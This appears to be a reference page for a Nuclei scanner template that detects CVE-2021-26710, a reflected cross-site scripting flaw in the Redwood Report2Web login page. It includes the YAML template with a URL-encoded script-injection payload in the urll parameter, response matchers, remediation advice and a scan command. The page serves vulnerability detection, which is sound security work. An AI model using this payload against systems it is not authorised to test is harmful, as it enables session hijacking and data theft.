Redwood Report2Web 4.3.4.5 & 4.5.3 - Cross-Site Scripting

ID: CVE-2021-26710

Severity: medium

Author: pikpikcu

Tags: cve2021,cve,redwood,xss

Description

Redwood Report2Web 4.3.4.5 and 4.5.3 contains a cross-site scripting vulnerability in the login panel which allows remote attackers to inject JavaScript via the signIn.do urll parameter.

YAML Source

id: CVE-2021-26710

info:
  name: Redwood Report2Web 4.3.4.5 & 4.5.3 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Redwood Report2Web 4.3.4.5 and 4.5.3 contains a cross-site scripting vulnerability in the login panel which allows remote attackers to inject JavaScript via the signIn.do urll parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to the latest version of Redwood Report2Web or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://vict0ni.me/report2web-xss-frame-injection.html
    - https://vict0ni.me/redwood-report2web-xss-and-frame-injection/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26710
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-26710
    cwe-id: CWE-79
    epss-score: 0.00116
    epss-percentile: 0.45321
    cpe: cpe:2.3:a:redwood:report2web:4.3.4.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: redwood
    product: report2web
  tags: cve2021,cve,redwood,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/r2w/signIn.do?urll=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100fd609c72ccbce8145c175134c9212adfea9b0d034680befe3cf168fd5ac17fa3022051b0e89768e3f31252dde5b9f792c075fc01effec8424617a83d8a078f311e50:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-26710.yaml"

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